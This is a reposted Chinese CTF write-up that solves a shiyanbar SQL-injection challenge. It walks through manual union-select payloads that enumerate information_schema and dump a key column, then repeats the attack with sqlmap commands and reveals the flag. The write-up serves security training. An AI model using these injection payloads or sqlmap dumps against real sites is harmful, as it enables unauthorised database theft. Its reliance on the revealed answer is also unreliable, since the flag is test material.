您的位置:首页 > 其它

CTF 这个看起来有点简单

2017-05-11 11:50 295 查看

这个看起来有点简单分值:10

来源: 西普学院
难度:易

很明显。过年过节不送礼,送礼就送这个

格式:

解题链接: http://ctf5.shiyanbar.com/8/index.php?id=1
解法:
1.手工注入
 
id=1'

id=1 and 1=1

id=1 and 1=2                          判断是sql注入

id=1 order by 2                       两个字节

id=1 union select 1,2               回显2

爆数据库:

 and 1=2 union select 1,schema_name  from information_schema.schemata limit 0,2

                 information_schema     my_db

爆表:

and 1=2 union select 1,table_name from information_schema.tables where table_schema=0x6d795f6462 limit 0,2

                           news           thiskey

爆字段:

and 1=2 union select 1,column_name from information_schema.columns where table_schema=0x6d795f6462 limit 0,3

                                id        content           k0y

爆内容:

and 1=2 union select 1,k0y from thiskey

key=>           whati0MyD9ldump

sqlmap解法:

列 数据库:

sqlmap -u "http://ctf5.shiyanbar.com/8/index.php?id=1" --dbs



列表:

sqlmap -u "http://ctf5.shiyanbar.com/8/index.php?id=1" -D my_db --tables



列字段:

sqlmap -u "http://ctf5.shiyanbar.com/8/index.php?id=1" -D my_db -T thiskey --columns

这个跑不出来。直接用下面的可以,但是需要知道k0y。

sqlmap -u "http://ctf5.shiyanbar.com/8/index.php?id=1" -D my_db -T thiskey -C k0y --dump



得出结果,但是需要把1改为l,不知道为什么。
内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息
标签: